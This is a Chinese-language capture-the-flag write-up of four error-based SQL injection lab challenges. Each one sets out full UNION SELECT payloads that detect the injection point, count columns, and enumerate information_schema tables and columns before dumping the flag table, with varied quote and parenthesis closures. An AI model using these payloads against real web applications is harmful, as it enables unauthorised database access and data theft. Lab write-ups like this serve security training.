1-SQL注入-显错注入Rank 1
Tips:
通过注入找到数据库中的Flag吧
Flag格式zKaQ-XXXXXXXX
**大概思路:
1、先验证是否可以执行SQL语句来判断是否存在SQL漏洞,
2、通过order by查询到存在多少个字段。
3、通过联合查询来获得回显字段。
4、获取数据库名称以及链接用户名。
5、列出数据库中所有的表.
6、列出目标表中所有的字段
7、列出目标字段中的信息
1、先验证是否可以执行SQL语句来判断是否存在SQL漏洞
地址栏可以看到id=1,那么我放入id=5-4,页面显示正常,再添加and 1=1,页面依旧正常,再测试and 1=2显示异常,这说明此处可以进行运算符运算和逻辑运算,是可以执行sql语句的,所以存在sql注入漏洞。
图1-1 执行”and 1=1”的执行结果
图1-2 执行”and 1=2”的执行结果
2、通过order by查询到存在多少个字段
我先假设存在5个字段,我执行order by 5,显示异常
图 1-3 执行”order by 5”的执行结果
二分法取值3再测试order by 3,显示正常。
图1-4 执行”order by 3”的执行结果
再执行order by 4,显示不正常,可以确定存在3个字段。
图 1-5 执行“order by 4”执行结果
3、通过联合查询来获得回显字段
执行“union select 1,2,3”来查看回显点。通过执行结果可以看出显示的是第二和第三字段。
图1-6 “union select 1,2,3”执行结果
4、获取数据库名称以及数据库连接用户名
上一步的操作 我们获得了回显点,现在将database()替换2,执行union select 1,database(),user(),得到结果如下图,可以得知数据库名称为error,数据库用户名为nf2019@10.42.229.66
图1-7 union select 1,database(),user()执行结果
5、列出数据库中所有的表.
group_concat 一次性全部显示
union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = ‘error’
图1-8 group_concat执行结果
从执行结果可以得出存在两个表分别为:error_flag,user
6、列出目标表中所有的字段
union select 1,2,group_concat(column_name) from information_schema.columns where table_name=’error_flag’ and table_schema=database()
1-9 执行结果
7、列出目标字段中的信息
执行 union select 1,2,group_concat(flag) from error_flag
图1-10 列出字段中的信息
通过信息可得到4个flag:zKaQ-Nf,zKaQ-BJY,zKaQ-XiaoFang,zKaq-98K
通过提交zKaQ-Nf获得通过。
2-SQL注入-显错注入Rank 2 (Rank: 5)
Tips:
通过注入找到数据库中的Flag吧
Flag格式zKaQ-XXXXXXXX
**大概思路和第一题差不多:
1、先验证是否可以执行SQL语句来判断是否存在SQL漏洞;
2、判断列数。
3、判断显示位。
4、获取数据库名称以及链接用户名。
5、列出数据库中所有的表.
6、列出目标表中所有的字段
7、列出目标字段中的信息
1、先验证是否可以执行SQL语句来判断是否存在SQL漏洞
列常来个and 1=1和and 1=2均显示正常,来个id=4-3,报错了,查看原因是’没有闭合,加’ — a’,显示正常,存在sql注入,但是要注意’闭合。此处存在注入点。
图2-1 执行id=1’ and 1=1 — a’结果
图2-2 执行id=1’ and 1=2 — a’结果
2、判断列数
执行order by 4 报错执行order by 3正常,所以存在3列,3个字段。
图2-3 执行order by 3结果
3、判断显示位。
执行’union select 1,2,3 — a’,可以得知显示点为2,3
图2-4 执行’union select 1,2,3 — a’结果
4、获取数据库名称以及链接用户名
执行’union select 1,user(),database() — a’得到数据库名称为error
图2-5回显数据库名称以及连接用户名
5、列出数据库中所有的表
执行’union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = ‘error’ — a’
图2-6 查询得到error_flag,user表
6、列出目标表中所有的字段
执行’union select 1,2,group_concat(column_name) from information_schema.columns where table_name=’error_flag’ and table_schema=database() — a’
图2-8 查询到表error_flag中存在flag字段
7、列出目标字段中的信息
执行’union select 1,2,group_concat(flag) from error_flag — a’
得到flag:zKaQ-Nf,zKaQ-BJY,zKaQ-XiaoFang,zKaq-98K
图2-9 得到flag
图 2-10 提交zKaQ-BJY成功
3-SQL注入-显错注入Rank 3 (Rank: 5)
Tips:
通过注入找到数据库中的Flag吧
Flag格式zKaQ-XXXXXXXX
思路:
1、验证是否存在sql注入;
2、判断列数。
3、判断显示位。
4、获取数据库名称
5、列出数据库中所有的表.
6、列出目标表中所有的字段
7、列出目标字段中的信息
1、验证是否存在sql注入;
通过分析要注意其中有’闭合和括号闭合,故结尾需要添加)— a实现闭合
执行select from user where id=(‘1’and 1=2 )— a’)报错
执行select from user where id=(‘1’and 1=1 )— a’)正常
所以存在注入点
图3-1 验证存在注入点
2、判断列数。
执行select from user where id=(‘1’)order by 3— a’’)正常
执行select from user where id=(‘1’)order by 4— a’)
所以存在3例,即3个字段。
图3-2 执行order by 3结果
图3-3 执行order by 4结果
3、判断显示位
执行select *from user where id=(‘1’)union select 1,2,3 — a’)得到回显点为2,3
图3-4 得到回显点
4、获取数据库名称
执行select *from user where id=(‘1’)union select 1,2,database() — a’)得到数据库名称为error
图3-5 的到数据库名称
5、列出数据库中所有的表
执行select *from user where id=(‘1’)union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = ‘error’ — a’)
得到数据库中有error_flag,user表
图3-6 得到数据库中的表名称
6、列出目标表中所有的字段
执行select *from user where id=(‘1’)union select 1,2,group_concat(column_name) from information_schema.columns where table_name=’error_flag’ and table_schema=database() — a’)
得到error_flag表中的字段为Id,flag
图3-7 列出error_flag中的字段
7、列出目标字段中的信息
执行select *from user where id=(‘1’)union select 1,2,group_concat(flag) from error_flag — a’)得到flag:zKaQ-Nf,zKaQ-BJY,zKaQ-XiaoFang,zKaq-98K
图3-8 得到flag
通过提交测试flag为:zKaQ-XiaoFang
4-SQL注入-显错注入Rank 4 (Rank: 5)
思路:
1、验证是否存在sql注入;
2、判断列数。
3、判断显示位。
4、获取数据库名称
5、列出数据库中所有的表.
6、列出目标表中所有的字段
7、列出目标字段中的信息
1、验证是否存在sql注入
这个题需要注意双引号和括号的闭合:
执行and 1=1 和and 1=2测试存在sql注入点
图4-1 验证注入点
2、判断列数
执行select from user where id=(“1”)order by 3 — a”)正常
执行select from user where id=(“1”)order by 3 — a”)异常,可以判断有3列。
图4-2 判断列数
3、判断显示位
执行select *from user where id=(“1”)union select 1,2,3 — a”)
得知回显点为2,3
图4-3 判断回显点
4、获取数据库名称
执行select *from user where id=(“1”)union select 1,2,database() — a”)得到数据可以名称为error
图 4-4 得到数据库名称
5、列出数据库中所有的表
执行select *from user where id=(“1”)union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = ‘error’ — a”)得到表error_flag,user
图4-5 得到表
6、列出目标表中所有的字段
执行select *from user where id=(“1”)union select 1,2,group_concat(column_name) from information_schema.columns where table_name=’error_flag’ and table_schema=database() — a”)
得到表中的字段为:Id,flag
图4-6 得到表中的字段
7、列出目标字段中的信息
执行
select *from user where id=(“1”)union select 1,2,group_concat(flag) from error_flag — a”)
获得flag为:zKaQ-Nf,zKaQ-BJY,zKaQ-XiaoFang,zKaq-98K
图4-7获得flag
通过提交测试得到flag为:zKaq-98K